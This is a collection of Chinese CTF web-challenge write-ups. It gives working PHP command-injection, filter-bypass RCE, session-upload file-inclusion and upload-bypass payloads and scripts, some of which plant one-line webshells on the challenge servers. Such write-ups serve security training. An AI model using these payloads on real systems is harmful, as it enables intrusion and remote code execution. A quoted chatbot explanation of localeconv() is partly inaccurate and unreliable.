[SWPUCTF 2023 秋季新生赛]Pingpingping
看看源码,首先是get传参Ping_ip.exe,然后如果请求了_ping参数,就会执行ping命令,执行三次
<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){
system("ping -c 3 ".$_ping);
}else{
$data = base64_encode(file_get_contents("error.png"));
echo "<img src='data:image/png;base64,$data'/>";
}
这里里有两个要点,一个是要保证传入的参数是要求的,另一个是要怎样执行命令。第一个点是要把_换为[,保证后面的字符不被转义,然后是拼接命令,用||管道符来拼接命令,作用是当管道符前面的命令成功执行以后,后面的命令才会执行
PHP中我们变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、
[
则会被转化为_
,如果传入[
,它被转化为_之后,后面的字符就会被保留下来不会被替换。
payload:
?Ping[ip.exe=127.0.0.1 || ls /
payload:
?Ping[ip.exe=127.0.0.1||cat /flag
[鹏城杯 2022]简单的php(无参数rce)
看一下源码,可以看到上面过滤了大小写字母和数字还有很多符号,一共有两个点,第一个点可以用取反绕过,第二个点可以用二维数组绕过。
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
}
?>
异或:用两个非数字和字母的组合做异或运算,等于自己想要的字符。
取反:将字符串的ascii编码的整数值进行按位取反。
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){ //过滤除了空白字符和()以外的内容,但是只有code的内容被匹配至还剩;才会触发这个语句。
@eval($code);
}
?>
part1:为什么要用取反绕过,因为字符字母和数字都被禁用了,使用编码和字符转换来绕过过滤机制,要先使用phpinfo函数,看看有哪些禁用的函数,才能继续往后面看。
<?php
$s="phpinfo";
echo '~'.urlencode(~$s);
//~%8F%97%8F%96%91%99%90 ,得到的结果是这个,也就是phpinfo,也就是异或取反操作
//之后需要用[]来执行,将返回的内容作为数组来储存,后面的[!%ff]是[0]用来取出数组中的内容
[~%8f%97%8f%96%91%99%90][!%ff]
//变成一句完整的话。
[~%8f%97%8f%96%91%99%90][!%ff]();其实就是[phpinfo][0]();
可以看到上面没有过滤任何函数
part2:使用脚本注入一句话木马,使用蚁剑连接就可以
import requests
command = "system(end(getallheaders()))" //返回所有http头部的最后的一项
##异或取反脚本
codes = command.replace(")", "").split("(")[:-1][::-1]
res = ""
inline = ""
for code in codes:
re_code = "~" + "".join(["%" + hex(255 - ord(i))[2:] for i in code])
res = f"[{re_code}][!%ff]({inline})"
inline = res //异或取反并转url格式
url = f"http://node7.anna.nssctf.cn:27413/?code={res};"
flag = requests.get(url, headers={'cmd': 'echo "<?php @eval(\$_POST[1]);?>">1.php'})
print(flag.text) //向目标网站注入一句话木马
根目录下就有flag
[SWPUCTF 2023 秋季新生赛]If_else
1.看看源码,上面说可以自定义if的条件,满足条件时a和b同时是真时,就可以执行下面的cat /flag,但是直接访问check.php是不存在的,并且也不可以手动修改a和b的值,说明当我们check传参后,参数写进去了check.php,才会有check.php,提交方式是post传参check,我们要执行eval语句,就要满足上面的条件。
某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果
提交方式$_POST["check"]
记得访问一下check.php哦~
check.php的内容
<?php
$a=false;
$b=false;
if(你提交的部分将会被写至这里)
{$a=true;}
else
{$b=true;}
if($a===true&&$b===true)
eval(system(cat /flag));
?>
2.根据上面的,传参check=1==1) eval(system('cat /f*'));/*,再访问check.php
代码会变成,像这样,注释掉了后的内容,就可以不用再管满足条件的事,同时,达到了我们1想要flag的目的
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=false;
$b=false;
if(1==1) eval(system('cat /f*')); /*)
{
$a=true;
}
else
{
$b=true;
}
if($a===true&&$b===true)
{
eval(system(cat /flag));
}
得到flag
[第五空间 2021]EasyCleanup
看看源码,要求传参mode=eval,同时通过shell传递php代码,长度不能超过15,以及过滤了while等函数和字符,然后会执行传参的代码,可以通过file传递参数,会包含有一个文件,但是要求字符长度不能长于15,同时过滤了上面显示的字符。
<?php
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){ //要求mode=eval
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; //get传参shell,保证满足下面的条件,然后执行php代码
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file']; //file函数,检查file的内容有没有超过15字符,同时会包含有一个文件
}
function filter($var){ //filter函数,给出了禁用的字符和函数
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var){ //会检查传参的字符段中是否超过含有大小写字母和数字中的8个
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
这里有两个地方可以用,一个是传参用rce,另一个是文件包含的漏洞,按照上面的限制,使用rce不太方便,那么就考虑文件包含的漏洞,在php5.4的版本以后,session.upload_progress功能在浏览器向服务器上传文件时,会将本次文件上传的详细信息保存在session中,可以通过这个将恶意语句放在session里面,配置要求如下
session.auto_start:如果 session.auto_start=On,php在请求开始时就会初始化session,不需要执行session_start,,默认是关闭的。
session.use_strict_mode:默认是关闭的,可以自己定义SessionID,eg:在cookie里面定义PHPSSESID=xxx,php就会在服务器上定义一个/tmp/sess_xxx文件,此时不需要手动,php会自动初始化session。
session.save_path:上面说的文件的存放位置。
session.upload_progress_enabled:配置为on时,session.upload_progress功能开启,上传文件的信息保存在session中,此方法可用,反之则不可以用。
session.upload_progress_cleanup:默认是on,文件上传结束后,立刻删除session的信息,如果此功能开启,需要进行条件竞争。
可以先传参?mode=eval,看看环境变量里面的这些功能是什么情况,session.upload_progress_cleanup是off,不需要进行条件竞争,session.save_path为/tmp,则文件的默认路径为/tmp/sess_xxx,
然后就是需要再cookie中添加一个PHPSESSID=xxx,然后是文件上传,文件上传必须有两个及以上的文件,才能成功保存在session中。同时,要保证文件上传的字段有PHP_SESSION_UPLOAD_PROGRESS字段,有脚本,拿来看一下
#session_upload_python
import io
import requests
import threading #多线程
myurl = 'http://node4.anna.nssctf.cn:28888/'
sessid = '7t0'
myfile = io.BytesIO(b'5fn_' * 1024) #文件插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /');?>"} #这里写命令
mycookie = {'PHPSESSID': sessid}
def writeshell(session):
while True:
resp = requests.post(url=myurl, data=writedata, files={'file': ('hakaiisu.txt', 123)}, cookies=mycookie)
def getshell(session):
while True:
payload_url = myurl + '?file=' + '/tmp/sess_' +sessid
resp = requests.get(url=payload_url)
if 'upload_progress' in resp.text:
print(resp.text)
break
else:
pass
if __name__ == '__main__':
session = requests.session()
writeshell = threading.Thread(target=writeshell, args=(session,))
writeshell.daemon = True
writeshell.start()
getshell(session)
得到flag的储存位置
重抓一下nssctfasdasdflag ,得到flag
[SWPUCTF 2021 新生赛]hardrce_3
看看源码,是无参数rce,而且不允许使用异或和取反,那么就用自增和取反编码。
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\^','\~','\|'];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
}}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>
way1:自增,通过构造assert函数来执行我们想要的命令,构造好以后url编码。借鉴一下
payload:
//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo(); //这里的_用来将下面的phpinfo();与上面的post传参连接起来
编码后就是:这段代码的含义是assert($POST[_]);
%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B%27%21%27%3D%3D%27%40%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___%28%24_%5B_%5D%29%3B
可以看到禁用的函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcnt
写入一句话木马,连接就可以
_=file_put_contents('1.php','<?php eval($_POST['aa']);?>');
这里连上了,但是没有权限看其他的目录
way2:取反编码,因为取反编码后的,例如%8c代表的是一个整体的url编码,并不会被识别成数字和字母的组合,但是在网页解析后,又会解url编码,因此可以绕过指令的目的。
脚本:
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>
结果:
%8C%86%8C%8B%9A%92
%93%8C%DF%D0
构造就是:
?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
命令执行成功,发现存在名为flllllaaaaaaggggggg的文件,cat一下
%8C%86%8C%8B%9A%92
%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98
不知道为什么其他师傅成功了,我的不行,有路过的师傅帮忙解答一下。
[SWPUCTF 2022 新生赛]Ez_upload
打开页面是一个文件上传的题目,先上传一个php的一句话木马,提示说不允许ph结尾的后缀,那么双写这些都不能用。
既然这样就上传.htaccess配置文件去解析,上传的什么鬼,连这个也不能,那就要考虑MIME类型的
修改content-type为image/jpg,上传,成功
接下来就可以执行我们上传的木马了,连接蚁剑,连上了
在目录里面没有,抓也抓不到,在蚁剑里面右键打开终端,看看环境变量(env),得到flag
或者命令执行直接看 也能看到
[极客大挑战 2020]welcome
打开页面什么都没有
抓包看看 ,改改请求方式,看到了题目本来的样子,很简单,就是数组绕过
注意最下面有一行小字,上面说叫我们在phpinfo中收集信息,看到了一个很像flag的文件,看看试试
直接访问这个页面是404
看看返回的消息头 ,得到flag
[HNCTF 2022 WEEK2]Canyource
是rce,看看源码,禁用了一些函数和一些伪协议的头
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?> please input code
正则表达式含义如下,也就是说题目要求payload的格式要有复杂的函数调用,最后递归的结果要是;,或者说是一个空字符串。
\W代表匹配非字符
[^abc]代表匹配非abc以外的元素
R代表当前正则匹配后的结果
?惰性匹配,匹配零次或一次
\转义字符
有点解释不清楚,看看cheatGTP的说法
正则表达式解析
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
:
- 这个正则表达式试图匹配形如
function(arg)
的结构,即一个单词([^\W]+
)后面跟着一个括号及可能的参数((…)
)。- 具体而言,它尝试通过正则表达式去除代码中包含函数调用的部分。正则中的
(?R)
是一个递归模式,用来匹配括号中的内容,从而识别复杂的嵌套结构。- 这样做的目的是,假如传入的代码包含了函数调用,它会把这些部分去掉,如果去掉后剩下的只是一个分号(即一个简单的PHP语句),那么代码才会继续执行。
因此,就只能使用函数嵌套函数的payload,接下来介绍一些函数的
readfile()
是PHP中的一个内置函数,用于输出文件内容。
scandir()
是另一个内置函数,用于列出指定目录中的文件和文件夹。返回的结果是一个数组,包含该目录下的所有文件和子目录。
localeconv()
是一个PHP函数,用来返回当前区域设置的各种货币和数值格式信息。但是在这里localeconv()
并不是用来直接获取本地化信息的,而是通过它返回的数组作为scandir()
的参数,利用array_rand()
和array_flip()
来构造一个目录路径。
array_flip()
会将数组的键和值互换。这里的用法是用来转换前面的scandir返回的文件列表
array_rand()
从数组中随机选取一个或多个键
?code=print_r(localeconv());
payload如下:(方法不唯一,有很多)
way1:
/?code=readfile(array_rand(array_flip(scandir(pos(localeconv())))));
localeconv()
:返回一个包含当前区域设置的数组,包含货币、数字格式等信息。pos(localeconv())
:pos()
返回数组的第一个元素。在这个情况下,它会返回localeconv()
的第一个值。这个值通常是一个表示当前区域设置的字符串,例如en_US
。scandir(pos(localeconv()))
:scandir()
列出指定目录中的所有文件和子目录。此处它会尝试列出由pos(localeconv())
返回的目录(即返回的是一个字符串路径)。如果该目录存在并且是一个有效的路径,scandir()
会列出该路径下的文件。array_flip(scandir(...))
:array_flip()
将scandir()
返回的数组的键和值交换。这样,目录中的文件名变成数组的键。array_rand(array_flip(...))
:array_rand()
从交换过的数组中随机选择一个文件名。readfile(...)
:readfile()
将指定路径的文件内容输出到浏览器中。
way2:
/?code=echo(readfile(next(array_reverse(scandir(pos(localeconv()))))));
localeconv()
:与第一个payload相同,返回当前区域设置的数组。pos(localeconv())
:同样返回localeconv()
的第一个值。scandir(pos(localeconv()))
:列出pos(localeconv())
返回的目录中的所有文件。array_reverse(...)
:array_reverse()
将scandir()
返回的文件列表反转。这样文件列表的顺序变为从最后一个文件开始。next(...)
:next()
将指针移动到数组的下一个元素并返回该元素,即返回列表中的第一个文件(原本是反转后的最后一个文件)。readfile(...)
:与第一个payload相同,readfile()
将读取并输出该文件的内容。echo(...)
:echo
用于输出readfile()
的返回值。readfile()
返回的是文件的字节数,因此echo
会输出字节数。
way3: 传参以后查看源代码得到flag
?code=eval(end(current(get_defined_vars())));&Z3r4y=system('tac flag.php');
get_defined_vars()
:get_defined_vars()
返回当前作用域中所有定义的变量。这个函数返回一个关联数组,键是变量名,值是对应变量的值。current(...)
:current()
返回数组中的当前元素(指针所指向的元素)。在这个上下文中,current(get_defined_vars())
会返回当前作用域中第一个定义的变量。end(...)
:end()
将数组指针指向数组的最后一个元素并返回它的值。因此,end(current(get_defined_vars()))
会返回当前作用域中最后一个定义的变量。eval(...)
:eval()
将执行传入的代码。由于end(current(get_defined_vars()))
返回的是一个变量,且假设该变量包含的是PHP代码(如一个字符串),则eval()
会执行该变量所包含的代码。